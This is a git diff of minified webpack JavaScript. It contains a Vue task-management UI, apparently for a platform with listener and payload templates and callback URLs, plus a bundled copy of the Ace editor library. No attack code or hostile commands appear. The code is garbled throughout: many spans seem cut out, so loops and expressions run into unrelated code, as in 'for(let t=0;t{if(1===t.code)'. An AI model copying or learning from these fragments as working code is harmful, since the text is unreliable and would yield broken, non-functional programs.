0},rules:{template:[{required:!0,message:"组件必填",trigger:"blur"}],configs:[{required:!0,message:"配置必填",trigger:"change"}],name:[{required:!0,message:"任务名称必填",trigger:"change"}]},rules1:[{required:!0,message:"必填",trigger:"blur"}],visibleDetail:!1,drawerBodyStyle:{background:"#ededed"},formItemLayoutWithOutLabel:{wrapperCol:{xs:{span:24,offset:0},sm:{span:20,offset:2}}},dynamicValidateForm:{domains:[],utilize:[]},taskNameForm:{name:"",callback_url:"",callback_url_headers:"",show_dashboard:!0},manageData:[],manageDataChoice:{},configDataChoice:{},regionData:[],onSubmitLoading:!1,isSingleConfig:!0,task_id:"",modalType:null}},created(){this.initData()},methods:{initData(){this.id?(this.title="编辑",this.task_id=this.id,this.getData(this.id,1)):n["a"].create_tmp_task().then(t=>{1===t.code?(this.task_id=t.data.task_info.task_id,this.taskNameForm.name=t.data.task_info.task_name,this.taskNameForm.callback_url=t.data.task_info.callback_url,this.taskNameForm.callback_url_headers=t.data.task_info.callback_url_headers,this.taskNameForm.show_dashboard=t.data.task_info.show_dashboard,this.dynamicValidateForm.domains=t.listen_template_info,this.dynamicValidateForm.utilize=t.payload_template_info):(this.$message.error(t.message),this.onClose())},t=>{this.onClose()})},getData(t){n["a"].getTasksConfigs({task:t}).then(t=>{if(1===t.code){let{data:{task_info:e,payload_template_info:a,listen_template_info:s}}=t;this.taskNameForm.name=e.task_name,this.taskNameForm.callback_url=e.callback_url,this.taskNameForm.callback_url_headers=e.callback_url_headers,this.taskNameForm.show_dashboard=e.show_dashboard,this.dynamicValidateForm.domains=s,this.dynamicValidateForm.utilize=a}else this.$message.error(t.message),this.onClose();this.initTip()},t=>{this.onClose()})},initTip(){let t=sessionStorage.getItem("firstLogin");if("true"==t){const t=new d.a({animate:!1,allowClose:!1});let e=setTimeout(()=>{let a=!0;t.defineSteps([{element:document.getElementsByClassName("tipTop")[0],popover:{title:"组件链接",description:"新建与编辑组件可获取到可以使用的链接",position:"bottom"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onNext:()=>{a=!1,this.$router.push({path:"/components"})},onDeselected:()=>{a&&sessionStorage.setItem("firstLogin","false")}}]),t.start(),clearTimeout(e)},100)}},addConfigureOk(){this.$refs.ruleForm.validate(t=>{if(!t)return console.log("error submit!!"),!1;{let t={task:this.task_id,template:this.form.template,template_config_item_list:[]};if(this.isSingleConfig){if(t.template_config_item_list.push({template_config_item:this.form.configs}),this.form.singConfigs.length){let e=this.form.singConfigs.length,a={};for(let t=0;t{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain(),this.form.task_config_id=null}else this.$message.error(t.message)}):n["a"].tmp_update_config(t).then(t=>{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain(),this.form.task_config_id=null}else this.$message.error(t.message)})):this.id?n["a"].getTasksConfigsAdd(t).then(t=>{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain()}else this.$message.error(t.message)}):n["a"].tasks_tmp(t).then(t=>{if(1===t.code){let{data:{listen_template_info:e,payload_template_info:a}}=t;this.dynamicValidateForm.domains=e,this.dynamicValidateForm.utilize=a,this.$message.success("操作成功"),this.onCloseAddDomain()}else this.$message.error(t.message)})}})},onClose(){this.dynamicValidateForm.domains=[],this.dynamicValidateForm.utilize=[],this.$refs.taskNameForm.resetFields(),!this.id&&n["a"].cancel_tmp_task({task_id:this.task_id}),this.task_id=null,this.$emit("editEvent",{event:!1,id:this.id})},onSure(){if(!this.id){if(""==this.taskNameForm.name)return void this.$message.error("任务名称不能为空");n["a"].getCreatTask({task_id:this.task_id,task_name:this.taskNameForm.name,callback_url:this.taskNameForm.callback_url,callback_url_headers:this.taskNameForm.callback_url_headers,show_dashboard:this.taskNameForm.show_dashboard}).then(t=>{1===t.code&&this.$message.success("保存成功")})}this.dynamicValidateForm.domains=[],this.dynamicValidateForm.utilize=[],this.$refs.taskNameForm.resetFields(),this.task_id=null,this.$emit("editEvent",{event:!1,id:this.id})},submitAddName(){this.$refs.taskNameForm.validate(t=>{if(!t)return console.log("error submit!!"),!1;{let t={name:this.taskNameForm.name,callback_url:this.taskNameForm.callback_url,callback_url_headers:this.taskNameForm.callback_url_headers,show_dashboard:this.taskNameForm.show_dashboard};n["a"].getTasksManageEdit(this.task_id,t).then(t=>{1===t.code?this.$message.success("操作成功"):this.$message.error("操作成功")})}})},removeConfig(t){this.form.domains.splice(t,1)},removeDomain(t,e){let a=this;this.$confirm({title:"提示",content:"确认删除",onOk(){a.id?n["a"].getTasksConfigsDel(t.task_config_id).then(s=>{if(1===s.code){a.$message.success("操作成功");let s=1===e?a.dynamicValidateForm.domains.indexOf(t):a.dynamicValidateForm.utilize.indexOf(t);-1!==s&&(1===e?a.dynamicValidateForm.domains.splice(s,1):a.dynamicValidateForm.utilize.splice(s,1))}else a.$message.error(s.massage)}):n["a"].tmp_delete_config(t.task_config_id).then(s=>{if(1===s.code){a.$message.success("操作成功");let s=1===e?a.dynamicValidateForm.domains.indexOf(t):a.dynamicValidateForm.utilize.indexOf(t);-1!==s&&(1===e?a.dynamicValidateForm.domains.splice(s,1):a.dynamicValidateForm.utilize.splice(s,1))}else a.$message.error(s.massage)})},onCancel(){}})},openAddDomain(t,e){n["a"].getTemplatesManage({type:e}).then(e=>{if(1===e.code){t?(this.modalType=1,this.getConfigSelectData(t.template),this.hanlderEidtData(t)):this.modalType=2,this.addModalVisible=!0,this.manageData=[],this.manageDataChoice={};let{data:{results:a}}=e,s=a.length;for(let t=0;t{if(1===t.code){this.regionData=[],this.configDataChoice={};let{data:{results:e}}=t,a=e.length;for(let t=0;t{this.modalType=null,this.form.template=void 0,this.form.configs=void 0,this.form.domains=[{configs:"",value:[]}]}),this.isSingleConfig=!0,this.regionData=[],this.addModalVisible=!1,this.$refs.ruleForm.resetFields()},addDomain(){this.form.domains.push({configs:null,value:[],key:Date.now()})},resetForm(){this.$refs.ruleForm.resetFields()},handleData(t){let e=t.length,a={};if(0===e)return a;for(let s=0;s{if(1===t.code){let{data:e}=t;const a={...this.pagination};a.total=e.count,this.pagination=a,this.data=e.results,this.initTast(this.data[0])}})},initTast(t){let e=sessionStorage.getItem("firstLogin");if("true"==e){const e=new d.a({allowClose:!1});let a=setTimeout(()=>{let s=!0;e.defineSteps([{element:document.getElementsByClassName("topTip")[0],popover:{title:"任务详情",description:"查看自己任务的详细信息",position:"right"},showButtons:!0,doneBtnText:"下一步",closeBtnText:"跳出",onDeselected:()=>{s&&sessionStorage.setItem("firstLogin","false")},onNext:()=>{s=!1,this.editEvent(t)}}]),e.start(),clearTimeout(a)},10)}},changeStatus(t,e){let a=this;this.$confirm({title:"提示",content:t?"是否开启":"是否关闭",onOk(){let s={id:[],status:t};s.id.push(e.id),a.getChangeStatus(s)},onCancel(){e.status=!t}})},update(t){t.id&&(this.editId=null),this.visible=!1,setTimeout(()=>{this.initData()},500)},changeNum(){this.testData.handleNum(9)},onSearch(){this.initData()},handleTableChange(t){const e={...this.pagination};e.current=t.current,e.pageSize=t.pageSize,this.pagination=e;let a={page_size:t.pageSize,page:t.current};this.initData(a)},addEvent(){this.visible=!0},editEvent(t){this.editId=t.id,this.visible=!0},jumpEvent(t){this.$router.push({name:"message",query:{id:t.id}})},enableEvent(t){if(0===this.selectedRowKeys.length)return this.$message.error("未选择任何数据");let e={id:this.selectedRowKeys,status:t};this.getChangeStatus(e)},getChangeStatus(t){n["a"].getTasksManageStatus(t).then(t=>{1===t.code?(this.$message.success("操作成功"),this.selectedRowKeys=[]):this.$message.error(t.message),this.initData()})},getDeleTask(t){n["a"].getTasksManageDele(t).then(t=>{1===t.code?(this.$message.success("操作成功"),this.selectedRowKeys=[]):this.$message.error(t.message),this.initData()})},deleteEvent(t=""){let e=this;if(t)this.$confirm({title:"提示",content:"确认删除",onOk(){let a={id:t.id};e.getDeleTask(a)},onCancel(){}});else{if(0===this.selectedRowKeys.length)return this.$message.error("未选择任何数据");let t={id:this.selectedRowKeys.join(",")};this.getDeleTask(t)}},onSelectChange(t){this.selectedRowKeys=t}}},k=_,b=(a("b039"),Object(f["a"])(k,s,i,!1,null,"a79d6cfc",null));e["default"]=b.exports},b039:function(t,e,a){"use strict";a("2173")},b893:function(t,e){function a(t){let e={};for(const a in t)e[a]=t[a].join(",");return e}function s(t,e){var a=document.createElement("input");a.setAttribute("id","cp_hgz_input"),a.value=t,document.getElementsByTagName("body")[0].appendChild(a),document.getElementById("cp_hgz_input").select(),document.execCommand("copy"),document.getElementById("cp_hgz_input").remove(),e&&e(t)}t.exports={handleFilters:a,copyText:s}},c483:function(t,e,a){"use strict";a("4af6")},c486:function(t,e,a){},ebc3:function(t,e,a){"use strict";a("c486")}}]); \ No newline at end of file diff --git a/static/js/chunk-7b30ad8e.3b21bec3.js b/static/js/chunk-bf3dd8b2.cb1b9067.js similarity index 90% rename from static/js/chunk-7b30ad8e.3b21bec3.js rename to static/js/chunk-bf3dd8b2.cb1b9067.js index 2637afb..bab80c4 100644 --- a/static/js/chunk-7b30ad8e.3b21bec3.js +++ b/static/js/chunk-bf3dd8b2.cb1b9067.js @@ -1 +1 @@ -(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-7b30ad8e"],{"061c":function(e,t,i){(function(){var e="ace",t=function(){return this}();if(t||"undefined"==typeof window||(t=window),e||"undefined"===typeof acequirejs){var i=function(e,t,n){"string"===typeof e?(2==arguments.length&&(n=t),i.modules[e]||(i.payloads[e]=n,i.modules[e]=null)):i.original?i.original.apply(this,arguments):(console.error("dropping module because define wasn't a string."),console.trace())};i.modules={},i.payloads={};var n=function(e,t,i){if("string"===typeof t){var n=r(e,t);if(void 0!=n)return i&&i(),n}else if("[object Array]"===Object.prototype.toString.call(t)){for(var o=[],a=0,l=t.length;a1&&a(l,"")>-1&&(i=RegExp(this.source,n.replace.call(r(this),"g","")),n.replace.call(e.slice(l.index),i,(function(){for(var e=1;el.index&&this.lastIndex--}return l},o||(RegExp.prototype.test=function(e){var t=n.exec.call(this,e);return t&&this.global&&!t[0].length&&this.lastIndex>t.index&&this.lastIndex--,!!t}))})),ace.define("ace/lib/es5-shim",["require","exports","module"],(function(e,t,i){function n(){}Function.prototype.bind||(Function.prototype.bind=function(e){var t=this;if("function"!=typeof t)throw new TypeError("Function.prototype.bind called on incompatible "+t);var i=d.call(arguments,1),s=function(){if(this instanceof s){var n=t.apply(this,i.concat(d.call(arguments)));return Object(n)===n?n:this}return t.apply(e,i.concat(d.call(arguments)))};return t.prototype&&(n.prototype=t.prototype,s.prototype=new n,n.prototype=null),s});var s,o,r,a,l,c=Function.prototype.call,h=Array.prototype,u=Object.prototype,d=h.slice,g=c.bind(u.toString),f=c.bind(u.hasOwnProperty);if((l=f(u,"__defineGetter__"))&&(s=c.bind(u.__defineGetter__),o=c.bind(u.__defineSetter__),r=c.bind(u.__lookupGetter__),a=c.bind(u.__lookupSetter__)),2!=[1,2].splice(0).length)if(function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t,i=[];if(i.splice.apply(i,e(20)),i.splice.apply(i,e(26)),t=i.length,i.splice(5,0,"XXX"),i.length,t+1==i.length)return!0}()){var p=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?p.apply(this,[void 0===e?0:e,void 0===t?this.length-e:t].concat(d.call(arguments,2))):[]}}else Array.prototype.splice=function(e,t){var i=this.length;e>0?e>i&&(e=i):void 0==e?e=0:e<0&&(e=Math.max(i+e,0)),e+ta)for(u=c;u--;)this[l+u]=this[a+u];if(o&&e===h)this.length=h,this.push.apply(this,s);else for(this.length=h+o,u=0;u>>0;if("[object Function]"!=g(e))throw new TypeError;while(++s>>0,s=Array(n),o=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var r=0;r>>0,o=[],r=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var a=0;a>>0,s=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var o=0;o>>0,s=arguments[1];if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");for(var o=0;o>>0;if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");if(!n&&1==arguments.length)throw new TypeError("reduce of empty array with no initial value");var s,o=0;if(arguments.length>=2)s=arguments[1];else do{if(o in i){s=i[o++];break}if(++o>=n)throw new TypeError("reduce of empty array with no initial value")}while(1);for(;o>>0;if("[object Function]"!=g(e))throw new TypeError(e+" is not a function");if(!n&&1==arguments.length)throw new TypeError("reduceRight of empty array with no initial value");var s,o=n-1;if(arguments.length>=2)s=arguments[1];else do{if(o in i){s=i[o--];break}if(--o<0)throw new TypeError("reduceRight of empty array with no initial value")}while(1);do{o in this&&(s=e.call(void 0,s,i[o],o,t))}while(o--);return s}),Array.prototype.indexOf&&-1==[0,1].indexOf(1,2)||(Array.prototype.indexOf=function(e){var t=v&&"[object String]"==g(this)?this.split(""):M(this),i=t.length>>>0;if(!i)return-1;var n=0;for(arguments.length>1&&(n=T(arguments[1])),n=n>=0?n:Math.max(0,i+n);n>>0;if(!i)return-1;var n=i-1;for(arguments.length>1&&(n=Math.min(n,T(arguments[1]))),n=n>=0?n:i-Math.abs(n);n>=0;n--)if(n in t&&e===t[n])return n;return-1}),Object.getPrototypeOf||(Object.getPrototypeOf=function(e){return e.__proto__||(e.constructor?e.constructor.prototype:u)}),!Object.getOwnPropertyDescriptor){var C="Object.getOwnPropertyDescriptor called on a non-object: ";Object.getOwnPropertyDescriptor=function(e,t){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError(C+e);if(f(e,t)){var i;if(i={enumerable:!0,configurable:!0},l){var n=e.__proto__;e.__proto__=u;var s=r(e,t),o=a(e,t);if(e.__proto__=n,s||o)return s&&(i.get=s),o&&(i.set=o),i}return i.value=e[t],i}}}(Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(e){return Object.keys(e)}),Object.create)||(m=null===Object.prototype.__proto__?function(){return{__proto__:null}}:function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(e,t){var i;if(null===e)i=m();else{if("object"!=typeof e)throw new TypeError("typeof prototype["+typeof e+"] != 'object'");var n=function(){};n.prototype=e,i=new n,i.__proto__=e}return void 0!==t&&Object.defineProperties(i,t),i});function w(e){try{return Object.defineProperty(e,"sentinel",{}),"sentinel"in e}catch(t){}}if(Object.defineProperty){var F=w({}),b="undefined"==typeof document||w(document.createElement("div"));if(!F||!b)var E=Object.defineProperty}if(!Object.defineProperty||E){var y="Property description must be an object: ",$="Object.defineProperty called on non-object: ",S="getters & setters can not be defined on this javascript engine";Object.defineProperty=function(e,t,i){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError($+e);if("object"!=typeof i&&"function"!=typeof i||null===i)throw new TypeError(y+i);if(E)try{return E.call(Object,e,t,i)}catch(c){}if(f(i,"value"))if(l&&(r(e,t)||a(e,t))){var n=e.__proto__;e.__proto__=u,delete e[t],e[t]=i.value,e.__proto__=n}else e[t]=i.value;else{if(!l)throw new TypeError(S);f(i,"get")&&s(e,t,i.get),f(i,"set")&&o(e,t,i.set)}return e}}Object.defineProperties||(Object.defineProperties=function(e,t){for(var i in t)f(t,i)&&Object.defineProperty(e,i,t[i]);return e}),Object.seal||(Object.seal=function(e){return e}),Object.freeze||(Object.freeze=function(e){return e});try{Object.freeze((function(){}))}catch(O){Object.freeze=function(e){return function(t){return"function"==typeof t?t:e(t)}}(Object.freeze)}if(Object.preventExtensions||(Object.preventExtensions=function(e){return e}),Object.isSealed||(Object.isSealed=function(e){return!1}),Object.isFrozen||(Object.isFrozen=function(e){return!1}),Object.isExtensible||(Object.isExtensible=function(e){if(Object(e)===e)throw new TypeError;var t="";while(f(e,t))t+="?";e[t]=!0;var i=f(e,t);return delete e[t],i}),!Object.keys){var x=!0,B=["toString","toLocaleString","valueOf","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","constructor"],k=B.length;for(var D in{toString:null})x=!1;Object.keys=function(e){if("object"!=typeof e&&"function"!=typeof e||null===e)throw new TypeError("Object.keys called on a non-object");var t=[];for(var i in e)f(e,i)&&t.push(i);if(x)for(var n=0,s=k;n0||-1)*Math.floor(Math.abs(e))),e}var M=function(e){if(null==e)throw new TypeError("can't convert "+e+" to object");return Object(e)}})),ace.define("ace/lib/fixoldbrowsers",["require","exports","module","ace/lib/regexp","ace/lib/es5-shim"],(function(e,t,i){"use strict";e("./regexp"),e("./es5-shim")})),ace.define("ace/lib/dom",["require","exports","module"],(function(e,t,i){"use strict";var n="http://www.w3.org/1999/xhtml";t.getDocumentHead=function(e){return e||(e=document),e.head||e.getElementsByTagName("head")[0]||e.documentElement},t.createElement=function(e,t){return document.createElementNS?document.createElementNS(t||n,e):document.createElement(e)},t.hasCssClass=function(e,t){var i=(e.className+"").split(/\s+/g);return-1!==i.indexOf(t)},t.addCssClass=function(e,i){t.hasCssClass(e,i)||(e.className+=" "+i)},t.removeCssClass=function(e,t){var i=e.className.split(/\s+/g);while(1){var n=i.indexOf(t);if(-1==n)break;i.splice(n,1)}e.className=i.join(" ")},t.toggleCssClass=function(e,t){var i=e.className.split(/\s+/g),n=!0;while(1){var s=i.indexOf(t);if(-1==s)break;n=!1,i.splice(s,1)}return n&&i.push(t),e.className=i.join(" "),n},t.setCssClass=function(e,i,n){n?t.addCssClass(e,i):t.removeCssClass(e,i)},t.hasCssString=function(e,t){var i,n=0;if(t=t||document,t.createStyleSheet&&(i=t.styleSheets)){while(n=0?parseFloat((s.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]):parseFloat((s.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]),t.isOldIE=t.isIE&&t.isIE<9,t.isGecko=t.isMozilla=(window.Controllers||window.controllers)&&"Gecko"===window.navigator.product,t.isOldGecko=t.isGecko&&parseInt((s.match(/rv:(\d+)/)||[])[1],10)<4,t.isOpera=window.opera&&"[object Opera]"==Object.prototype.toString.call(window.opera),t.isWebKit=parseFloat(s.split("WebKit/")[1])||void 0,t.isChrome=parseFloat(s.split(" Chrome/")[1])||void 0,t.isAIR=s.indexOf("AdobeAIR")>=0,t.isIPad=s.indexOf("iPad")>=0,t.isChromeOS=s.indexOf(" CrOS ")>=0,t.isIOS=/iPad|iPhone|iPod/.test(s)&&!window.MSStream,t.isIOS&&(t.isMac=!0)}})),ace.define("ace/lib/event",["require","exports","module","ace/lib/keys","ace/lib/useragent"],(function(e,t,i){"use strict";var n=e("./keys"),s=e("./useragent"),o=null,r=0;t.addListener=function(e,t,i){if(e.addEventListener)return e.addEventListener(t,i,!1);if(e.attachEvent){var n=function(){i.call(e,window.event)};i._wrapper=n,e.attachEvent("on"+t,n)}},t.removeListener=function(e,t,i){if(e.removeEventListener)return e.removeEventListener(t,i,!1);e.detachEvent&&e.detachEvent("on"+t,i._wrapper||i)},t.stopEvent=function(e){return t.stopPropagation(e),t.preventDefault(e),!1},t.stopPropagation=function(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},t.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},t.getButton=function(e){return"dblclick"==e.type?0:"contextmenu"==e.type||s.isMac&&e.ctrlKey&&!e.altKey&&!e.shiftKey?2:e.preventDefault?e.button:{1:0,2:2,4:1}[e.button]},t.capture=function(e,i,n){function s(e){i&&i(e),n&&n(e),t.removeListener(document,"mousemove",i,!0),t.removeListener(document,"mouseup",s,!0),t.removeListener(document,"dragstart",s,!0)}return t.addListener(document,"mousemove",i,!0),t.addListener(document,"mouseup",s,!0),t.addListener(document,"dragstart",s,!0),s},t.addTouchMoveListener=function(e,i){var n,s;t.addListener(e,"touchstart",(function(e){var t=e.touches,i=t[0];n=i.clientX,s=i.clientY})),t.addListener(e,"touchmove",(function(e){var t=e.touches;if(!(t.length>1)){var o=t[0];e.wheelX=n-o.clientX,e.wheelY=s-o.clientY,n=o.clientX,s=o.clientY,i(e)}}))},t.addMouseWheelListener=function(e,i){"onmousewheel"in e?t.addListener(e,"mousewheel",(function(e){var t=8;void 0!==e.wheelDeltaX?(e.wheelX=-e.wheelDeltaX/t,e.wheelY=-e.wheelDeltaY/t):(e.wheelX=0,e.wheelY=-e.wheelDelta/t),i(e)})):"onwheel"in e?t.addListener(e,"wheel",(function(e){var t=.35;switch(e.deltaMode){case e.DOM_DELTA_PIXEL:e.wheelX=e.deltaX*t||0,e.wheelY=e.deltaY*t||0;break;case e.DOM_DELTA_LINE:case e.DOM_DELTA_PAGE:e.wheelX=5*(e.deltaX||0),e.wheelY=5*(e.deltaY||0);break}i(e)})):t.addListener(e,"DOMMouseScroll",(function(e){e.axis&&e.axis==e.HORIZONTAL_AXIS?(e.wheelX=5*(e.detail||0),e.wheelY=0):(e.wheelX=0,e.wheelY=5*(e.detail||0)),i(e)}))},t.addMultiMouseDownListener=function(e,i,n,o){var r,a,l,c=0,h={2:"dblclick",3:"tripleclick",4:"quadclick"};function u(e){if(0!==t.getButton(e)?c=0:e.detail>1?(c++,c>4&&(c=1)):c=1,s.isIE){var u=Math.abs(e.clientX-r)>5||Math.abs(e.clientY-a)>5;l&&!u||(c=1),l&&clearTimeout(l),l=setTimeout((function(){l=null}),i[c-1]||600),1==c&&(r=e.clientX,a=e.clientY)}if(e._clicks=c,n[o]("mousedown",e),c>4)c=0;else if(c>1)return n[o](h[c],e)}function d(e){c=2,l&&clearTimeout(l),l=setTimeout((function(){l=null}),i[c-1]||600),n[o]("mousedown",e),n[o](h[c],e)}Array.isArray(e)||(e=[e]),e.forEach((function(e){t.addListener(e,"mousedown",u),s.isOldIE&&t.addListener(e,"dblclick",d)}))};var a=s.isMac&&s.isOpera&&!("KeyboardEvent"in window)?function(e){return 0|(e.metaKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.ctrlKey?8:0)}:function(e){return 0|(e.ctrlKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.metaKey?8:0)};function l(e,t,i){var l=a(t);if(!s.isMac&&o){if(t.getModifierState&&(t.getModifierState("OS")||t.getModifierState("Win"))&&(l|=8),o.altGr){if(3==(3&l))return;o.altGr=0}if(18===i||17===i){var c="location"in t?t.location:t.keyLocation;if(17===i&&1===c)1==o[i]&&(r=t.timeStamp);else if(18===i&&3===l&&2===c){var h=t.timeStamp-r;h<50&&(o.altGr=!0)}}}if(i in n.MODIFIER_KEYS&&(i=-1),8&l&&i>=91&&i<=93&&(i=-1),!l&&13===i){c="location"in t?t.location:t.keyLocation;if(3===c&&(e(t,l,-i),t.defaultPrevented))return}if(s.isChromeOS&&8&l){if(e(t,l,i),t.defaultPrevented)return;l&=-9}return!!(l||i in n.FUNCTION_KEYS||i in n.PRINTABLE_KEYS)&&e(t,l,i)}function c(){o=Object.create(null)}if(t.getModifierString=function(e){return n.KEY_MODS[a(e)]},t.addCommandKeyListener=function(e,i){var n=t.addListener;if(s.isOldGecko||s.isOpera&&!("KeyboardEvent"in window)){var r=null;n(e,"keydown",(function(e){r=e.keyCode})),n(e,"keypress",(function(e){return l(i,e,r)}))}else{var a=null;n(e,"keydown",(function(e){o[e.keyCode]=(o[e.keyCode]||0)+1;var t=l(i,e,e.keyCode);return a=e.defaultPrevented,t})),n(e,"keypress",(function(e){a&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey)&&(t.stopEvent(e),a=null)})),n(e,"keyup",(function(e){o[e.keyCode]=null})),o||(c(),n(window,"focus",c))}},"object"==typeof window&&window.postMessage&&!s.isOldIE){var h=1;t.nextTick=function(e,i){i=i||window;var n="zero-timeout-message-"+h;t.addListener(i,"message",(function s(o){o.data==n&&(t.stopPropagation(o),t.removeListener(i,"message",s),e())})),i.postMessage(n,"*")}}t.nextFrame="object"==typeof window&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame),t.nextFrame?t.nextFrame=t.nextFrame.bind(window):t.nextFrame=function(e){setTimeout(e,17)}})),ace.define("ace/lib/lang",["require","exports","module"],(function(e,t,i){"use strict";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split("").reverse().join("")},t.stringRepeat=function(e,t){var i="";while(t>0)1&t&&(i+=e),(t>>=1)&&(e+=e);return i};var n=/^\s\s*/,s=/\s\s*$/;t.stringTrimLeft=function(e){return e.replace(n,"")},t.stringTrimRight=function(e){return e.replace(s,"")},t.copyObject=function(e){var t={};for(var i in e)t[i]=e[i];return t},t.copyArray=function(e){for(var t=[],i=0,n=e.length;iu.length?e=e.substr(9):e.substr(0,4)==u.substr(0,4)?e=e.substr(4,e.length-u.length+1):e.charAt(e.length-1)==u.charAt(0)&&(e=e.slice(0,-1)),e==u.charAt(0)||e.charAt(e.length-1)==u.charAt(0)&&(e=e.slice(0,-1)),e&&t.onTextInput(e)),d&&(d=!1),S&&(S=!1))},B=function(e){if(!p){var t=i.value;x(t),b()}},k=function(e,t,i){var n=e.clipboardData||window.clipboardData;if(n&&!c){var s=h||i?"Text":"text/plain";try{return t?!1!==n.setData(s,t):n.getData(s)}catch(e){if(!i)return k(e,t,!0)}}},D=function(e,o){var r=t.getCopyText();if(!r)return n.preventDefault(e);k(e,r)?(s.isIOS&&(g=o,i.value="\n aa"+r+"a a\n",i.setSelectionRange(4,4+r.length),d={value:r}),o?t.onCut():t.onCopy(),s.isIOS||n.preventDefault(e)):(d=!0,i.value=r,i.select(),setTimeout((function(){d=!1,b(),F(),o?t.onCut():t.onCopy()})))},L=function(e){D(e,!0)},R=function(e){D(e,!1)},_=function(e){var o=k(e);"string"==typeof o?(o&&t.onPaste(o,e),s.isIE&&setTimeout(F),n.preventDefault(e)):(i.value="",f=!0)};n.addCommandKeyListener(i,t.onCommandKey.bind(t)),n.addListener(i,"select",y),n.addListener(i,"input",B),n.addListener(i,"cut",L),n.addListener(i,"copy",R),n.addListener(i,"paste",_);var T,M=function(e){p||!t.onCompositionStart||t.$readOnly||(p={},p.canUndo=t.session.$undoManager,t.onCompositionStart(),setTimeout(O,0),t.on("mousedown",I),p.canUndo&&!t.selection.isEmpty()&&(t.insert(""),t.session.markUndoGroup(),t.selection.clearSelection()),t.session.markUndoGroup())},O=function(){if(p&&t.onCompositionUpdate&&!t.$readOnly){var e=i.value.replace(/\x01/g,"");if(p.lastValue!==e&&(t.onCompositionUpdate(e),p.lastValue&&t.undo(),p.canUndo&&(p.lastValue=e),p.lastValue)){var n=t.selection.getRange();t.insert(p.lastValue),t.session.markUndoGroup(),p.range=t.selection.getRange(),t.selection.setRange(n),t.selection.clearSelection()}}},I=function(e){if(t.onCompositionEnd&&!t.$readOnly){var n=p;p=!1;var o=setTimeout((function(){o=null;var e=i.value.replace(/\x01/g,"");p||(e==n.lastValue?b():!n.lastValue&&e&&(b(),x(e)))}));$=function(e){return o&&clearTimeout(o),e=e.replace(/\x01/g,""),e==n.lastValue?"":(n.lastValue&&o&&t.undo(),e)},t.onCompositionEnd(),t.removeListener("mousedown",I),"compositionend"==e.type&&n.range&&t.selection.setRange(n.range);var r=!!s.isChrome&&s.isChrome>=53||!!s.isWebKit&&s.isWebKit>=603;r&&B()}},W=r.delayedCall(O,50);function P(){clearTimeout(T),T=setTimeout((function(){m&&(i.style.cssText=m,m=""),null==t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=!0,t.renderer.$moveTextAreaToCursor())}),0)}n.addListener(i,"compositionstart",M),s.isGecko?n.addListener(i,"text",(function(){W.schedule()})):(n.addListener(i,"keyup",(function(){W.schedule()})),n.addListener(i,"keydown",(function(){W.schedule()}))),n.addListener(i,"compositionend",I),this.getElement=function(){return i},this.setReadOnly=function(e){i.readOnly=e},this.onContextMenu=function(e){S=!0,F(t.selection.isEmpty()),t._emit("nativecontextmenu",{target:t,domEvent:e}),this.moveToMouse(e,!0)},this.moveToMouse=function(e,r){m||(m=i.style.cssText),i.style.cssText=(r?"z-index:100000;":"")+"height:"+i.style.height+";"+(s.isIE?"opacity:0.1;":"");var a=t.container.getBoundingClientRect(),l=o.computedStyle(t.container),c=a.top+(parseInt(l.borderTopWidth)||0),h=a.left+(parseInt(a.borderLeftWidth)||0),u=a.bottom-c-i.clientHeight-2,d=function(e){i.style.left=e.clientX-h-2+"px",i.style.top=Math.min(e.clientY-c-2,u)+"px"};d(e),"mousedown"==e.type&&(t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=null),clearTimeout(T),s.isWin&&n.capture(t.container,d,P))},this.onContextMenuClose=P;var H=function(e){t.textInput.onContextMenu(e),P()};if(n.addListener(i,"mouseup",H),n.addListener(i,"mousedown",(function(e){e.preventDefault(),P()})),n.addListener(t.renderer.scroller,"contextmenu",H),n.addListener(i,"contextmenu",H),s.isIOS){var N=null,z=!1;e.addEventListener("keydown",(function(e){N&&clearTimeout(N),z=!0})),e.addEventListener("keyup",(function(e){N=setTimeout((function(){z=!1}),100)}));var V=function(e){if(document.activeElement===i&&!z){if(g)return setTimeout((function(){g=!1}),100);var n=i.selectionStart,s=i.selectionEnd;if(i.setSelectionRange(4,5),n==s)switch(n){case 